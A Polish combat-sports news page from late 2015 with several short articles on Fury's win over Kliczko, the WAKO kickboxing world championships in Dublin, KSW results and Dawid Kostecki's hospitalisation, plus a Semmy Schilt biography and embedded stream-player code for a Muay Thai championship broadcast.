Co się dzieje w ciężkiej?

Rewolucja! Kategoria królewska ma nowego króla. Tyson Fury wielokrotnie pokazywał, że jest „mocny w gębie”. Teraz potwierdził swoją ringową dominację.

Władimir Kliczko długo odprawiał pretendentów do tytułów mistrzowskich z kwitkiem. Niewielu spodziewało się, że w Dusseldorfie sposób na Ukraińca znajdzie Tyson Fury.

Pajac został mistrzem

Na szali były pasy WBA, WBO, IBF, IBO wagi ciężkiej. Kliczko przystępował do rywalizacji jako król, który imponował opanowaniem i klasą. Fury bardzo chciał, wielokrotnie podkreślał swoje mistrzowskie aspiracje, ale wielu patrzyło na niego z przymrużeniem oka. Pojedynek zaczął się dość nietypowo. Zazwyczaj Kliczko czeka na rywala, a w tym przypadku ruszył do przodu i szukał szansy, aby trafić boksera z Wysp Brytyjskich. Fury nic sobie z tego nie robił. W ringu prowokował mistrza, opuszczał ręce, robił show, a wrażeń czysto bokserskich nie było zbyt wielu.

Fury nie skracał dystansu, czym potęgował niezadowolenie publiczności i Ukraińca. Kliczko starał się wyprowadzać celne ciosy, które dadzą efekty, ale trudno było mu ustrzelić młodszego rywala. W dziewiątej rundzie w końcu doszło do ostrej wymiany. Z czasem Kliczko miał problemy ze skutecznością. Ukrainiec w jedenastej rundzie ugiął się na nogach po mocnym lewym sierpowym Fury'ego. Brytyjczyk nie przypieczętował swojego zwycięstwa nokautem, jednak sędziowie nie mieli problemu z wyborem zwycięzcy. Punktowali 115-112, 115-112, 116-111 dla Fury'ego.

Świat przecierał oczy ze zdumienia. Dominacja Władimira Kliczko dobiegła końca. W wadze ciężkiej nadszedł czas na młodych i żądnych zwycięstw bokserów. Przy okazji niepokornych. 

Będzie rewanż?

Pojawia się wiele pytań dotyczących przyszłości byłego już mistrza świata wagi ciężkiej. Kliczko swego czasu myślał o zakończeniu kariery. Czy porażka jest początkiem jego końca? Ukrainiec czeka na rewanż. – Walka rewanżowa na pewno odbędzie się. Na szczegóły przyjdzie jeszcze czas. Jest zbyt wcześniej, aby cokolwiek powiedzieć. Byłem dobrze przygotowany do walki. Tyson pokazał szybkość i energiczność. Nie sądziłem, że zaprezentuje się z takiej strony. Mi zabrakło szybkości i wyczucia dystansu – analizował Kliczko.

Co na to nowy mistrz świata? – Kliczko będzie chciał rewanżu, jednak może wróci do domu i przemyśli całą sytuację, a w ostateczności zmieni zdanie. Chciałbym ponownie zjawić się w Niemczech i walczyć tu z Władimirem – mówi Fury.

Swoje zdanie, co do przyszłości Ukraińca zaprezentował David Haye. Brytyjczyk nie widzi szans dla Kliczko. – Kliczko jest skończony. On jest stary, a teraz przyszło nowe! – powiedział Haye. 

Nowy mistrz wagi ciężkiej zasiadł na tronie, ale nie będzie miał łatwo. Wydaje się, że jest odporny na krytykę i gotowy realizować swój plan. Czy wytrzyma psychicznie? Do tej pory sam robił wokół siebie zamieszanie, a teraz stanie się obiektem zainteresowania wszystkich. Trudno mu będzie nad tym zapanować. Dodatkowo pojawią się wyzwania. Kolejny wielki pojedynek to starcie Fury vs Wilder? – Mógłbym znokautować Fury'ego. Jestem zdecydowanie szybszy, silniejszy i 10 razy lepszy od niego – podkreślał swoją wyższość mistrz świata WBC.

KM

Wybiła Godzina złotych medali

Wedle tekstu popularnej piosenki „dziewczyny lubią brąz”. Chyba niekoniecznie. Złoto ma swój blask i idealnie prezentuje się na szyjach naszych zawodniczek. Dorota Godzina i Paulina Jarzmik zostały mistrzyniami świata WAKO w kickboxingu.

Nasi fighterzy szturmowali Dublin i od początku pokazywali, że świat musi się z nimi liczyć. Łącznie mieliśmy siedem szans na złote medale, ale udało się wygrać tylko trzy pojedynki.

Kolekcjonerki

Dorota Godzina po raz kolejny udowodniła, że ma ogromne możliwości. Polka w tym roku perfekcyjnie radziła sobie w walkach zawodowych, a także w startach krajowych. Dodatkowo zawodniczka X Fight Piaseczno wywalczyła tytuł mistrzyni świata w kick light. W Dublinie Polka rywalizowała w light contact 55kg. Godzina w decydującym starciu spotkała się z Gabriellą Busą. Los po raz pierwszy skojarzył obie zawodniczki. Polka miała świadomość, że Węgierka jest mocna. W ubiegłym roku Busa zdobyła tytuł wicemistrzyni świata w kick light oraz brązowy medal mistrzostw świata w light contact. Godzina za wszelką cenę starała się zneutralizować atuty rywalki. Węgierka dobrze kopie, ale w finale nie mogła tego pokazać. Dorota Godzina świetnie uderzała i pewnie wygrała 3:0.

W light contact 60kg po złoto sięgnęła Paulina Jarzmik. Trenująca w Lichtensteinie zawodniczka spotkała się z Luną Mendy. Panie znają się na wylot, gdyż już kilka razy rywalizowały ze sobą. Jarzmik miała dobre wspomnienia z walk z Mendy, jednak jeden z pojedynków przegrała, ale wokół wyniku pojawiły się kontrowersje. Tym razem nie było żadnych wątpliwości, która fighterka zasłużyła na złoto.

Słowa dotrzymał Mateusz Kubiszyn. Polak szedł jak burza w 86kg full contact i zapowiadał, że jego celem jest złoto. W finale trafił na mocnego Rosjanina Igora Kopylova. Działo się. To była prawdziwa batalia, w której obaj zawodnicy byli niezwykle zawzięci. Kubiszyn miał więcej sił i lepiej wytrzymał trudy pojedynku.

Kto z medalem?

Trzy złote medale, czy mogło być lepiej? Mogło. O tytuł mistrzowski walczyło siedmioro naszych reprezentantów, jednak nie wszystkim udało się wygrać walkę o złoty medal. Ewa Bulanda w full contact 48kg musiała uznać wyższość Yulii Staforkiny z Rosji. Bashir Tazhdinov okazał się lepszy od Roberta Krasonia w full contact 75kg. W light contact +94kg porażką w finale musiał pogodzić się Aleksander Stawirej. Pogromcą Polaka okazał się Filipp Salugin z Rosji.

Wcześniej srebrny medal zdobyłTomasz Szczepaniuk w light contact 63kg weteranów. Trzecie miejsca wywalczyli: Karolina Dziedzic w full contact 70kg, Wojciech Peryt w full contact 54kg, Robert Niedźwiecki w full contact 57kg oraz ŁukaszWichowski w light contact 79kg.

KM

Oczekiwanie i pół minuty emocji

KSW zelektryzowało całą Polskę. Pojawienie się pojedynku Mamed Khalidov vs Michał Materla sprawiło, że wszyscy zacierali ręce i czekali. Miał być to największy smakołyk polskiego MMA wszech czasów. Czy był?

Polską marką MMA na świecie jest Joanna Jędrzejczyk, która cieszy się z władania w wadze słomkowej w prestiżowej organizacji UFC. W Polsce ukłuło się, że nie ma lepszego od Khalidova, jednak królem wagi średniej pozostawał Michał Materla. Nadszedł czas na zmiany.

Chwila niepewności

KSW po raz kolejny wzbudziło ogromne zainteresowania swoją galą. W Krakowie odbyła się walka czołowych twarzy organizacji – Khalidova i Materli. Waga średnia nakręca KSW. Niedawno byliśmy świadkami pojedynku Materli z Drwalem, czyli rywalizacji dwóch potężnych nazwisk. Były zawodnik UFC debiutował w KSW, co również wzbudziło ogromne zainteresowanie i przyciągnęło rzeszę fanów. Jednak to była dopiero gra wstępna włodarzy organizacji. Przygotowali prawdziwą wisienkę na torcie. Khalidov i Materla nie kryją, że żyją w dobrych relacjach, ale w końcu trzeba było wyjaśnić, kto jest mocniejszy.

Panowie dogadali się, podpisali kontrakty i mieli zrobić show. Wiadomo było, że Mamed to szybkość i niekonwencjonalne zakończenia. Z kolei Materla to zawodnik uważny, w pełni skoncentrowany i niezwykle twardy. Padały pytania dotyczące obrazu tej walki. Jedni przewidywali, że może być to długi spektakl. Inni mówili, że pojedynek będzie nudny. Z dużej chmury mały deszcz – tak miało ponoć być. Rzeczywistość okazała się zgoła inna. Khalidov ruszył na rywala niczym niedawna mistrzyni UFC Ronda Rausey. Mamed trafił prawym Materlą, który zachwiał się. Khalidov szybko do akcji włączył kolano i posłał kolejny cios w stronę mistrza wagi średniej. Materla padł, a pretendent dokończył dzieła. Tytuł zmienił właściciela, a na pytanie, które nurtowało wszystkich tyle czasu odpowiedź padła w zaledwie trzydzieści jeden sekund.

Bedorf nokautuje

Karol Bedorf obronił tytuł mistrza wagi ciężkiej KSW. Popularny „Coco” z impetem rozpoczął pojedynek, jednak później przygasł i inicjatywa była po stronie Michała Kity. W drugiej rundzie mistrz konsekwentnie dążył do zwycięstwa. Bedrof kopnięciem na głowę znokautował Kitę i mógł cieszyć się z udanej obrony pasa.

W wadze piórkowej o tytuł walczył Artur Sowiński. Jego rywalem był gibki Kleber Koike Erbst. Japończyk szukał rozwiązania walki w parterze, jednak za każdym razem „Kornik” wychodził cało z opresji. W stójce Polak rozdawał karty i sędziowie jednogłośnie wskazali na jego zwycięstwo. Aziz Karaoglu po raz kolejny pokazał, że jego szybkie ciosy są niezwykle niebezpieczne. Przekonał się o tym Maiquel Falcao. Ariane Lipski w drugiej rundzie zastopowała zapędy Katarzyny Lubońskiej.

Vaso Bakocević musiał odklepać, gdyż Anzor Ażijew założył skuteczny trójkąt rękoma. Zwycięstwo Karola Szymuszowskiego, jednak sędziowie nie byli jednogłośni w ocenie jego starcia z Davidem Zawadą. Łukasz Chlewicki triumfował w pojedynku z Bartłomiejem Kurczewskim.

KM

Kubiszyn zmierza do celu

Mateusz Kubiszyn idzie jak burza. Reprezentant Polski pokonał w półfinale Hasana Merta Kizila i będzie walczył o złoty medal mistrzostw świata WAKO w kickboxingu, które odbywają się w Dublinie.

Rywalizacja wkracza w decydującą fazę. Na placu boju zostali najlepsi z najlepszych. Sześcioro Polaków ma szansę na zdobycie tytułu mistrzowskiego. Ilu biało-czerwonych stanie na najwyższym stopniu podium?

Dwie złote panie?

Do finału light contact 55kg awansowała Dorota Godzina. Zawodniczka trenująca w X Fight Piaseczno w ćwierćfinale przeżywała kryzys. Co prawda wypunktowała Sabinę Bec, jednak zmęczenie dawało o sobie znać. Można powiedzieć, że zawodniczka miała po prostu groszy dzień, ale umiejętnościa pozwoliły przechylić jej szalę zwycięstwa na swoją korzyść. W półfinale zaprezentowała się już zupełnie inna Godzina. Nadine Kurten nie miała żadnych szans. Polka dominowała na każdej płaszczyźnie i pewnie wypunktowała niemiecką fighterkę.

Awans do finału w light contact 60kg wywalczyła Paulina Jarzmik. W półfinale Polka uporała się z Rosjanką Mariną Popovą. Jarzmik rywalizowała również w pointfightingu, jednak tam zabrakło jej szczęścia. Adriem Kadas okazała się lepsza po dogrywce, choć po pierwszej rundzie nasza zawodniczka prowadziła. W 79kg light contact o złoty medal nie powalczy Łukasz Wichowski, który w półfinale uległ Emanuilowi Dimitrowowi. Z kolei Aleksander Stawirej w light contact +94kg postara się o triumf. W półfinałowej walce Polak pokonał Alesza Lolblera ze Słowenii.

Złoto mógł mieć Tomasz Szczepaniuk w rywalizacji weteranów light contact 63kg. Kontuzja łydki pozbawiła zdobywcę Pucharu Świata w taekwondo szans na rywalizację w decydującym starciu.

Kubiszyn nie zwalnia tempa

Mateusz Kubiszyn w full contact 86kg idzie jak burza. Polski fighter podkreśla, że do Dublina przyjechał po złoto i nikt nie stanie na jego drodze do triumfu. Przekonał się o tym w półfinale Hasan Mert Kizil, który poczuł mocny cios Polaka. Kubiszyn zakończył rywalizację przed czasem.

Robert Krasoń w 75kg z dobrej strony zaprezentował się w ćwierćfinale. Potrzebował niecałej minuty, aby awansować do strefy medalowej. Półfinał nie był jednak łatwy. Debiutujący w mistrzostwach świata zawodnik stanął na wprost Nathana Keya. Walka wyrównana, Amerykanin dobrze pracował lewą ręką. O triumfie Krasonia zadecydowała trzecia runda, w której zdecydowanie ruszył do przodu i trafiał rywala.

W 48kg o złoto powalczy Ewa Bulanda. Polka w półfinale uporała się z Flavią Gasperini. Z kolei Johannes Wolf okazał się zbyt mocnym przeciwnikiem dla Roberta Niedźwiedzkiego w 57kg.  Polak przegrał na punkty. W pierwszej i drugiej rundzie Niemiec dominował, czego najlepszym dowodem jest fakt, że Niedźwiedzki był liczony. Brązowe medale wywalczyli również Karolina Dziedzic (70kg) i Wojciech Peryt (54kg).

KM

Dusseldorf czeka na show

Na szali pasy mistrzowskie WBA, IBF, WBO i IBO kategorii ciężkiej. Tyson Fury wyciąga ręce, aby przejąć tytuły. Czy Władimir Kliczko mu na to pozwoli?

28 dzień listopada 2015 roku jest najważniejszym w zawodowej karierze boksera z Wysp Brytyjskich. Fury ma najlepszą okazję, aby potwierdzić, że nie rzucał słów na wiatr. W Dusseldorfie 27-latek musi pokonać Władimira Kliczko, żeby zasiąść na tronie wagi ciężkiej.

Ranga wydarzenia

Tyson Fury słynie z umiejętności budowania estymy wokół własnej osoby. Pięściarz z Wilmslow nie przebiera w słowach. Potrafi dosadnie nazwać każde zjawisko, a przy okazji wzbudzić zainteresowanie. Fury ma zmysł, który pozwala mu cały czas być na pierwszym planie. Częściej pojawiają się doniesienia o tym, co Anglik powiedział niż o tym, co zrobił w ringu. Kariera Fury’ego przebiega harmonijnie. Obecnie na Wyspach nie ma lepszego pięściarza od niego. Powrót Davida Haye’a mógłby zrodzić ciekawą rywalizację o miano czołowego angielskiego boksera. Jednak teraz Fury otrzymał szansę, na którą długo czekał. Może zostać mistrzem świata, ale najpierw na ringu w Dusseldorfie musi pokonać Władimira Kliczko.

Ukrainiec to doświadczenie, ringowa mądrość, precyzja oraz skuteczność. Kliczko ma świadomość, że to on rozdaje karty. Wielu chce wejść na jego miejsce, jednak nie wytrzymują presji i w ringu tracą swoją wartość. W ostatnim pojedynku Kliczko pokonał na punkty Bryanta Jenningsa. Wcześniej dwie walki rozstrzygnął przed czasem. Z kolei Fury imponuje mocą i precyzją swoich ciosów. Cztery ostatnie walki zakończył przed czasem, a łącznie aż osiemnaście razy słał swoich rywali na deski. Czy Anglik zrobi wrażenie swoimi ciosami na ukraińskim czempionie?

Zdaniem mistrza wagi ciężkiej Fury poczuł temperaturę pojedynku. – Większość zawodników musi poczuć rangę takiej walki i zobaczyłem to u Tysona, który zazwyczaj wdawał się w dyskusje, a podczas konferencji był miły. Jestem gotowy na wszystko. Fury jest w stanie walczyć mądrze, ale z drugiej strony może również wygłupiać się w ringu – powiedział Kliczko. Fury stara się nieco studzić temperaturę. – Porażka będzie oznaczała, że jestem oszustem i nie jestem dobry. W takim wypadku jako pierwszy powiem to na głos. To kolejna walka, którą muszę stoczyć i nie jest ważniejsza od mojej ostatniej – wyjaśnił angielski bokser.

Kliczko jest lżejszy od pretendenta. Fury waży 112kg, a Ukrainiec 111,5kg.

Polska mistrzyni

Podczas gali Rzeszów Boxing Night po tytuł mistrzyni wagi półśredniej w boksie sięgnęła Ewa Piątkowska. Tygrysica na punkty pokonała Marie Riederer. Wszyscy sędziowie byli zgodnie i wskazali na zwycięstwo Polki – trzy razy 99:91.

Piątkowska dominowała w ringu. „Tygrysica” była aktywniejsza i zadawała więcej ciosów. W siódmej rundzie potężny cios Polki zrobił wrażenie na Riederer. Niemka zachwiała się, a z jej nosa zaczęła cieknąć krew.

KM

Mistrzostwa Polski Muay Thai Starachowice 2015 Finały

Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Polski Muay Thai, Starachowice 2015.

Dzień 2 – 6 grudnia 2015 r. – walki rankingowe – finały

[kod]

Mistrzostwa Polski https://fightime.pl/pl/video/mistrzostwa-polski-muay-thai-starachowice-2015-eliminacje_1/ Thai Starachowice 2015

Mistrzostwa Polski Muay Thai Starachowice 2015

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/MP_MuayThai_Starachowice2015.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/MP_MuayThai_Starachowice2015.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/MP_MuayThai_Starachowice2015.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/MP_MuayThai_Starachowice2015.livx/Manifest"
},
width: 640,
height: 385,
autoplay: false,
});

Mistrzostwa Polski Muay Thai Starachowice 2015 Eliminacje

Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Polski Muay Thai, Starachowice 2015.

Dzień 1 – 5 grudnia 2015 r. – walki rankingowe – eliminacyjne

[kod]

Mistrzostwa Polski Muay Thai Starachowice 2015

Mistrzostwa Polski Muay Thai Starachowice 2015

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/MP_MuayThai_Starachowice2015.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/MP_MuayThai_Starachowice2015.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/MP_MuayThai_Starachowice2015.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/MP_MuayThai_Starachowice2015.livx/Manifest"
},
width: 640,
height: 385,
autoplay: false,
});

Godzina już w półfinale

Marek Drażdżyński może się cieszyć z brązowego medalu mistrzostw świata WAKO w kickboxingu weteranów. Do strefy medalowej awansowali Dorota Godzina i Łukasz Wichowski.

Polacy są zdeterminowani i szturmują Dublin. Kolejne zmagania zakończyły się sukcesem dla naszych fighterów. Siedmioro Polaków jest już w półfinałach.

Wybiła Godzina

Dorota Godzina w ćwierćfinale light contact 55kg pozbawiła szans na dalszą rywalizację Sabinę Bec ze Słowenii. Polka wygrała pewnie, jednak nie był dla niej to łatwy pojedynek. Godzina ma pracowity rok i zmęczenie daje o sobie znać. W rywalizacji z Bec zawodniczka KS X Fight Piaseczno nie forsowała tempa, również nie zaskakiwała kopnięciami. Jednak doświadczenie dało o sobie znać i Polka rozstrzygnęła walkę na swoją korzyść. Teraz powalczy o awans do półfinału.

Z wygranych cieszą się również inni zawodnicy trenujący w KS X Fight Piaseczno. Paulina Jarzmik od początku mistrzostw próbowała swoich sił na dwóch płaszczyznach. W ćwierćfinale light contact 60kg uporała się z Madeleine Palmersjö ze Szwecji, jednak w pointfightingu musiała pogodzić się z porażką. Polka rywalizowała z Adrienn Kadas z Węgier. Pojedynek był niezwykle wyrównany i do rozstrzygnięcia potrzebna była dogrywka, jednak w niej lepsza okazała się Kadas. Łukasz Wichowski miał obawy przez walką w ćwierćfinale light contact 79kg. Utarło się, że ściany pomagają gospodarzom, a rywalem Polaka był Irlandczyk Colm Gilshehan. Wichowski pokazał klasę i nie pozostawił wątpliwości, komu należy się miejsce w strefie medalowej. 

W light contact +94kg do półfinału awansował Aleksander Stawirej. Polak pokonał Petera Bayera z Węgier. Z rywalizacją w light contact na etapie ćwierćfinału pożegnały się Karolina Mośko (50kg) i Agnieszka Osial (70kg).

Full w kratkę

20-letni Robert Niedźwiedzki w full contact 57kg zapewnił sobie medal wygrywając pojedynek z Said Shahwali Firouzadeh. Polak debiutuje na mistrzostwach świata i jest to udany start. W rywalizacji z Norwegiem imponował wyczuciem, skutecznością oraz szybkością. Dla Niedźwiedzkiego Dublin jest szczęśliwy. W tym roku w Irlandii wygrał zawody Pucharu Świata, czy walczy tytuł mistrza świata?

O medale będzie walczyła również Karolina Dziedzic w full contact 70kg. Polka wypunktowała zawodniczkę gospodarzy Claire-Louise Sweetman. W 75kg dobrze poczyna sobie Robert Krasoń, który awans do półfinału zapewnił sobie zwycięstwem nad  Jose Angelem Hofstertter Rodriguezem.

Z marzeniami o podium pożegnała się Gabriela Bednarowicz w full contact 56kg. Veronika Petrikova okazała się lepsza od Polki w każdej rundzie i zdecydowanie wygrała. Na ćwierćfinale swój udział w mistrzostwach świata zakończyli również: Emilia Czerwińska (60kg), Wanesa Nogaj (65kg), Anna Kołodziejska (+70kg), Piotr Odważny (67kg). Oprócz wcześniej wspomnianej Pauliny Jarzmik w pointfighting przegrał również Tomasz Kurzeja (74kg). Pogromcą Polaka okazał się Niemiec Sascha Graske.

Fot. Fightime

KM

Co z Kosteckim?

Dawid Kostecki trafił do szpitala. Informacja ta zelektryzowała niemal wszystkich. Problem w tym, że pojawiają się kolejne domysły dotyczące przyczyn, w związku z którymi pięściarz znalazł się w szpitalu.

Kostecki to jeden z najbardziej rozpoznawalnych polskich bokserów, wokół którego zawsze jest dużo zamieszania. Niekoniecznie chodzi o kwestie czysto sportowe.

Nieaktywny bokser

Do popularnego „Cygana” przylgnęła etykietka człowieka, który jest na bakier z prawem. Kostecki spędził w więzieniu dwa i pół roku za udział w grupie przestępczej. Wielokrotnie pojawiały się informacje dotyczące czerpania przez pięściarza korzyści z nierządu oraz handlu narkotykami. Kostecki trafił za kratki w maju 2012 roku, co sprawiło, że nie mógł stanąć w ringu na wprost legendarnego Roya Jonesa Jr.

Po wyjściu z więzienia „Cygan” wrócił na ring. W listopadzie 2014 roku zmierzył się z Andrzejem Sołdrą i przegrał na punkty. Był to sygnał, że kariera pięściarza wagi półciężkiej dobiega końca.  „Cygan” zdecydował się na przerwanie bokserskiej przygody. To nie koniec kłopotów Kosteckiego. W maju został zawieszony na dwa lata za stosowanie nielegalnych środków. Chciał jeszcze wrócić do sportu. Tym razem jako fighter MMA.

Jednak we wtorek (24 listopada) gruchnęła informacja, że Kostecki trafił do szpitala. Mnożyły się domysły. Według pierwszych pogłosek miałaby być to próba samobójcza. Kolejne domysły to przedawkowania środków i pobicie. Niektóre spekulacje mówią, że Kostecki nie uporał się jeszcze ze swoją przeszłością. Pojawiają się wiadomości o depresji byłego boksera.

Prośby o modlitwę

Na fanpagu Kosteckiego pojawiło się oświadczenie. Zawarte jest w nim potwierdzenie, że „Cygan” trafił do szpitala, jednak nie podano powodów. – W związku z zaistniałą sytuacją, w imieniu Dawida oraz jego rodziny, chciałem zaprzeczyć informacjom, które ukazały się w mediach na temat stanu zdrowia oraz przyczyn dla których znalazł się w szpitalu. Jedyną prawdziwą i potwierdzoną wiadomością jest ta ukazana jako pierwsza, czyli że Dawid Kostecki leży w stanie ciężkim na oddziale intensywnej terapii w szpitalu. Pozostałe to domysły i szukanie sensacji "na siłę" przez media. Z szacunku do niego niestety nie mogę ujawnić więcej szczegółów – brzmi oświadczenie.

W informacji została zawarta również prośba o modlitwę o powrót do zdrowia. – Proszę również o nieprzyjeżdżanie do szpitala(także media!), gdyż to utrudnia i spowalnia pracę lekarzom, a w tym momencie czas jest kluczowy. Na oddział może wejść jedynie żona, dlatego zamiast tego prosiłbym o gorącą modlitwę. Chciałem również podziękować kibicom, którzy tak licznie piszą wiadomości i łączą się z Dawidem. To jest naprawdę ważne i budujące – czytamy w oświadczeniu.

Fot. fanpage Dawida Kosteckiego

KM

Ciężko w ćwierćfinałach

Rywalizacja w mistrzostwach świata WAKO w kickboxingu w Dublinie nabiera tempa. Polacy efektownie rozpoczęli zmagania, jednak w ćwierćfinałach zaczęły się kłopoty. 

W środę biało-czerwoni stoczyli sześć walk ćwierćfinałowych. Polacy walczyli ze zmiennym szczęściem. Troje naszych reprezentantów jest o krok od wywalczenia medali na mistrzostwach świata.

Skuteczna Bulanda

Większych problemów z triumfem w ćwierćfinałowej rywalizacji nie miała Ewa Bulanda w full contact 48kg. Polka od początku zyskała przewagę nad Diaz Pantoją. Hiszpanka szukała swojej szansy, ale nie zawsze stosowała czyste zagrania. W drugiej rundzie za cios poniżej pasa otrzymała minusowe punkty. Bulanda kontrolowała walkę i w trzeciej odsłonie utrzymała przewagę. Hiszpanka nie miała nic do powiedzenia. Polka wygrała 3:0.

Przez ćwierćfinał przeszedł również Mateusz Kubiszyn w full contact 86kg. Polak zaznaczał, że do Dublina przyjechał po medal i jest na najlepszej drodze, aby zrealizować swój cel. Wygrał drugą walkę w turnieju. Tym razem Polak okazał się lepszy od zawodnika gospodarzy Alana Coffeya. Kubiszyn rozkręcał się z rundy na rundę, a w ostatniej odsłonie mógł już odpocząć, gdyż wyraźnie przeważał i jego zwycięstwo nie podlegało dyskusji. Fenomenalnie wśród weteranów radzi sobie Tomasz Szczepaniuk. Polak w ćwierćfinale uporał się z Chrisem Collymore'm.

Igor Prykhodko to były mistrz świata, który w Dublinie szans na medal pozbawił Kacpra Frątczaka w full contact 81kg. Dla Polaka to cenne doświadczenie. Frątczak pierwszy raz startował na imprezie tej rangi w rywalizacji seniorskiej. Rok temu w Rimini wywalczył mistrzostwo świata juniorów K-1. Z rywalizacją w Dublinie na etapie ćwierćfinału pożegnał się również Jakub Kozera. Polak walczący w kategorii 91kg full contact przegrał z Arthurem Dühringiem. Niemiec dominował w pierwszej rundzie, a w trzeciej mocnym ciosem sierpowym zakończył marzenia Kozery o zwycięstwie. W ćwierćfinale odpadła również Emilia Szabłowska w pointfighting 55kg, która przegrała z Aston Cook.

Triumf Wichowskiego

W 1/8 finału light contact w wadze 79kg triumfował Łukasz Wichowski. Podopieczny Piotra Siegoczyńskiego okazał się lepszy od Gordana Baksicia. Chorwat chciał zaskoczyć Wichowskiego i od początku był aktywny. Pierwsza runda wyrównana, jednak z czasem Baksiciowi zaczęło brakować paliwa. Wichowski punktował przeciwnika i wyprowadzał celne ciosy.

Karolina Mośko również cieszy się z wygranej  w 1/8 finału light contact 50kg. Polka pokonała Niemkę Hannę Wommelsdorf. Z rywalizacją pożegnał się Adrian Durma w 74kg. W pointfightingu przez 1/8 finału przebrnęli Tomasz Kurzeja w 74kg oraz Łukasz Świderski w 94kg.

KM

Semmy Schilt

Holenderski karateka reprezentujący style Ashihara i Seidokaikan, kickboxer oraz zawodnik MMA urodzony 27 października 1973 roku w Rotterdamie. Karate zaczął trenować w wieku 8 lat. Pierwszym nauczycielem był jego ojciec, instruktor karate.  Do jego największych sukcesów w karate  zalicza się zdobycie: 3-krotnego Mistrzostwa Holandii IBK Full Contact, 2-krotnego Mistrzostwa Europy IBK, 2-krotne zwycięstwo w Hukutoki All Japan Open oraz dwukrotne zwycięstwo All Japan Dai Do Juku. W 1998 roku przeszedł na zawodowstwo. Jest dyrektorem technicznym Ashihara International Karate Organisation oraz honorowym dyrektorem technicznym Sei Budokai i posiadaczem 6 dan w obu tych stylach. Równolegle do karate, Schilt walczył w MMA. W 1996 roku zadebiutował w  japońskiej organizacji Pancrase. W 1999 roku zdobył 9 tytuł Króla Pancrase w kategorii open. W 2001 roku podpisał kontrakt z Amerykańskim UFC. Stoczył tylko dwie walki po czym wrócił do Japonii, aby walczyć dla PRIDE FC.  Wygrał trzy pierwsze walki przez nokaut, ale porażki z takimi gwiazdami jak Fiodor Jemieljanienko, Antonio Rodrigo Nogueira czy Siergiej Charitonow przekreśliły szanse Schilta na odegranie większej roli w tej organizacji. W sumie w latach 2001-2004 stoczył w PRIDE 7 walk (4 wygrał, 3 przegrał). Podczas sylwestrowej gali Dynamite!! 2008 zmierzył się z Mightym Mo, którego pokonał przez duszenie trójkątne.  W K-1 zadebiutował w 2002 roku będąc jeszcze zawodnikiem PRIDE. Podczas gali K-1 Burning 2002 wygrał przez niejednogłośną decyzję z Musahim. Pierwszy znaczący sukces na ringach K-1 osiągnął w 2005 roku, wygrywając turniej K-1 WGP w Paryżu. Dzięki temu w tym samym roku wystąpił w finale K-1 World GP w Tokio. Zdobył mistrzostwo pokonując kolejno Raya Sefo, Remy’ego Bonjasky’ego, a w finale nokautując w 48 sekund Glaube Feitosę. W następnych latach Schilt całkowicie zdominował rywalizację w K-1 WGP. W 2006 roku obronił tytuł, pokonując w finale byłego trzykrotnego mistrza, Petera Aertsa, przez jednogłośną decyzję sędziów. W finale roku następnego ponownie pokonał Aertsa, tym razem przez nokaut w pierwszej rundzie.  Tym samym został pierwszym w historii zawodnikiem, który trzy razy z rzędu w Finale K-1 World Grand Prix. W 2007 roku Schilt zdobył również pas mistrza K-1 w kategorii superciężkiej, nokautując w Jokohamie Raya Sefo. W czerwcu 2008 roku obronił tytuł w walce z Jerome Le Bannerem. Pojedynek ten był 14 z rzędu wygraną Schilta w K-1. Holender pobił tym samym rekord poprzednio należący do Petera Aertsa. Dominację Schilta przerwał właśnie Aerts, który pokonał go przez decyzję 27 września 2008 roku podczas turnieju K-1 World Grand Prix 2008 Final 16 w Seulu. Porażka ta wyeliminowała Schilta z walki o czwarte z rzędu mistrzostwo K-1 WGP. W maju 2009 roku walczył o mistrzostwo It’s Showtime w wadze ciężkiej z Badrem Hari. Przegrał przez nokaut w pierwszej rundzie. W grudniu podczas walki finałowej turnieju K-1 WGP 2009 doszło pomiędzy nimi do rewanżu. Tym razem to Schilt znokautował Hariego w pierwszej rundzie, zdobywając czwarte w swojej karierze mistrzostwo K-1. W 2010 roku będąc obrońcą tytułu awansował do Finału K-1 WGP, gdy podczas Final 16 wygrał przez niejedno głośną decyzję z Hesdym Gergesem. W ćwierćfinale pokonał przez jednogłośną decyzję Kyotaro, odpadł później w półfinale pokonany po raz trzeci w karierze przez Petera Aertsa. W 2011 roku Schilt nie walczył z powodu słabej sytuacji finansowej organizacji K-1. W międzyczasie jego klub Golden Glory zapowiedział budowę, własnego konkurencyjnego względem K-1 cyklu rozgrywek, którego jedną z gwiazd miał być Schilt. 26 maja 2012 roku Schilt wywalczył inauguracyjne mistrzostwo Glory World Series w wadze ciężkiej, pokonując przed czasem Errola Zimmermana.  31 grudnia znalazł się w bardzo silnie obsadzonym turnieju wagi ciężkiej organizowanym przez Holenderską federację Glory World Series w Tokio, w ramach połączonej sylwestrowej gali kickboxingu. W szesnastoosobowym turnieju wzięli udział m.in.  Peter Aerts, Remy Bonjasky oraz Daniel Ghita –  z tym ostatnim Schilt zmierzył się w finale tego turnieju.  Holender w finałowej walce zwyciężył przez TKO w pierwszej rundzie, zostając tym samym tryumfatorem całego turnieju.  Dnia 27 czerwca 2013 roku ogłosił koniec kariery sportowe, przyczyną były prawdopodobne problemy zdrowotne. 

Lara kontra Zaveck, Italian Boxing i judo – na żywo w FightKlubie.

 

Lara kontra Zaveck
